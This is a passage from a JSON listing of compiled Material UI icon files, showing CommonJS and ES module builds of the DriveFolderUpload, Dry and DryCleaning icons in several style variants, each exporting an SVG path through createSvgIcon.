    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16zM8 13.01l1.41 1.41L11 12.84V17h2v-4.16l1.59 1.59L16 13.01 12.01 9z\"\n}), 'DriveFolderUpload');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUpload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16zM8 13.01l1.41 1.41L11 12.84V17h2v-4.16l1.59 1.59L16 13.01 12.01 9z\"\n}), 'DriveFolderUpload');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zM9.41 14.42 11 12.84V17h2v-4.16l1.59 1.59L16 13.01 12.01 9 8 13.01z\"\n}), 'DriveFolderUploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zM9.41 14.42 11 12.84V17h2v-4.16l1.59 1.59L16 13.01 12.01 9 8 13.01z\"\n}), 'DriveFolderUploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7 7v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H9.21c-.45 0-.67-.54-.35-.85l2.8-2.79c.2-.2.51-.19.71 0l2.79 2.79c.3.31.08.85-.36.85z\"\n}), 'DriveFolderUploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7 7v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H9.21c-.45 0-.67-.54-.35-.85l2.8-2.79c.2-.2.51-.19.71 0l2.79 2.79c.3.31.08.85-.36.85z\"\n}), 'DriveFolderUploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-9 7v4h-2v-4H8l4.01-4L16 13z\"\n}), 'DriveFolderUploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-9 7v4h-2v-4H8l4.01-4L16 13z\"\n}), 'DriveFolderUploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 6H4v12h16V8h-8.83zM16 13h-3v4h-2v-4H8l4.01-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13v4h2v-4h3l-3.99-4L8 13z\"\n}, \"2\")], 'DriveFolderUploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUploadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 6H4v12h16V8h-8.83zM16 13h-3v4h-2v-4H8l4.01-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13v4h2v-4h3l-3.99-4L8 13z\"\n}, \"2\")], 'DriveFolderUploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dry.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.65 4.86-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71M9.12 5l-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5\"\n}), 'Dry');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dry.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.65 4.86-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71M9.12 5l-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5\"\n}), 'Dry');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaning.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v6h10v-6h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M18.58 14H17v-1H7v1H5.42c-.23 0-.42-.19-.42-.43 0-.17.1-.32.25-.38l6.75-3 6.75 3c.15.07.25.22.25.39 0 .23-.19.42-.42.42\"\n}), 'DryCleaning');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaning.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v6h10v-6h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M18.58 14H17v-1H7v1H5.42c-.23 0-.42-.19-.42-.43 0-.17.1-.32.25-.38l6.75-3 6.75 3c.15.07.25.22.25.39 0 .23-.19.42-.42.42\"\n}), 'DryCleaning');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v6h10v-6h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M15 20H9v-5h6zm3.58-6H17v-1H7v1H5.42c-.46 0-.58-.65-.17-.81l6.75-3 6.75 3c.42.19.28.81-.17.81\"\n}), 'DryCleaningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v6h10v-6h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M15 20H9v-5h6zm3.58-6H17v-1H7v1H5.42c-.46 0-.58-.65-.17-.81l6.75-3 6.75 3c.42.19.28.81-.17.81\"\n}), 'DryCleaningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1c.38 0 .72.22.88.53s.51.47.85.47c.74 0 1.26-.79.91-1.44-.6-1.1-1.86-1.78-3.24-1.51-1.17.23-2.12 1.2-2.34 2.37-.29 1.56.61 2.93 1.94 3.4v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v4c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2v-4h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M18.58 14h-1.86c-.35-.6-.98-1-1.72-1H9c-.74 0-1.38.4-1.72 1H5.42c-.46 0-.58-.65-.17-.81l6.75-3 6.75 3c.42.19.28.81-.17.81\"\n}), 'DryCleaningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1c.38 0 .72.22.88.53s.51.47.85.47c.74 0 1.26-.79.91-1.44-.6-1.1-1.86-1.78-3.24-1.51-1.17.23-2.12 1.2-2.34 2.37-.29 1.56.61 2.93 1.94 3.4v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v4c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2v-4h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M18.58 14h-1.86c-.35-.6-.98-1-1.72-1H9c-.74 0-1.38.4-1.72 1H5.42c-.46 0-.58-.65-.17-.81l6.75-3 6.75 3c.42.19.28.81-.17.81\"\n}), 'DryCleaningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 12-8-3.56V6h-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-8 3.56V16h4v6h10v-6h4zm-2 2h-2v-1H7v1H5v-.7l7-3.11 7 3.11z\"\n}), 'DryCleaningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 12-8-3.56V6h-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-8 3.56V16h4v6h10v-6h4zm-2 2h-2v-1H7v1H5v-.7l7-3.11 7 3.11z\"\n}), 'DryCleaningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15h6v5H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v6h10v-6h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M15 20H9v-5h6zm3.58-6H17v-1H7v1H5.42c-.46 0-.58-.65-.17-.81l6.75-3 6.75 3c.42.19.28.81-.17.81\"\n}, \"1\")], 'DryCleaningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryCleaningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15h6v5H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.56 11.36 13 8.44V7c0-.55-.45-1-1-1s-1-.45-1-1 .45-1 1-1 1 .45 1 1h2c0-1.84-1.66-3.3-3.56-2.95-1.18.22-2.15 1.17-2.38 2.35-.3 1.56.6 2.94 1.94 3.42v.63l-6.56 2.92c-.88.38-1.44 1.25-1.44 2.2v.01C3 14.92 4.08 16 5.42 16H7v6h10v-6h1.58c1.34 0 2.42-1.08 2.42-2.42v-.01c0-.95-.56-1.82-1.44-2.21M15 20H9v-5h6zm3.58-6H17v-1H7v1H5.42c-.46 0-.58-.65-.17-.81l6.75-3 6.75 3c.42.19.28.81-.17.81\"\n}, \"1\")], 'DryCleaningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm5.65-16.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}), 'DryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm5.65-16.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}), 'DryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.94 11.79c-.6.57-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.68c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h7.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h8.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38h-9.9l1.49-2.61c.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7l-.42-.45c-.38-.39-1.01-.41-1.41-.03zm15.05-3.72c0 .52-.42.93-.93.93-.52 0-.93-.42-.93-.93.03-.67-.22-1.33-.71-1.86l-.07-.06c-.9-.89-1.38-2.03-1.34-3.22-.01-.51.41-.93.92-.93s.93.42.93.93c-.03.67.22 1.33.71 1.86l.07.07c.91.88 1.39 2.02 1.35 3.21m4.01 0c0 .51-.42.93-.94.93s-.93-.42-.93-.93c.03-.67-.22-1.33-.71-1.86l-.07-.06c-.9-.89-1.38-2.03-1.34-3.22 0-.51.42-.93.93-.93s.93.42.93.93c-.03.67.22 1.33.71 1.86l.07.07c.9.88 1.38 2.02 1.35 3.21\"\n}), 'DryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.94 11.79c-.6.57-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.68c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h7.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h8.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38h-9.9l1.49-2.61c.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7l-.42-.45c-.38-.39-1.01-.41-1.41-.03zm15.05-3.72c0 .52-.42.93-.93.93-.52 0-.93-.42-.93-.93.03-.67-.22-1.33-.71-1.86l-.07-.06c-.9-.89-1.38-2.03-1.34-3.22-.01-.51.41-.93.92-.93s.93.42.93.93c-.03.67.22 1.33.71 1.86l.07.07c.91.88 1.39 2.02 1.35 3.21m4.01 0c0 .51-.42.93-.94.93s-.93-.42-.93-.93c.03-.67-.22-1.33-.71-1.86l-.07-.06c-.9-.89-1.38-2.03-1.34-3.22 0-.51.42-.93.93-.93s.93.42.93.93c-.03.67.22 1.33.71 1.86l.07.07c.9.88 1.38 2.02 1.35 3.21\"\n}), 'DryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrySharp.js",
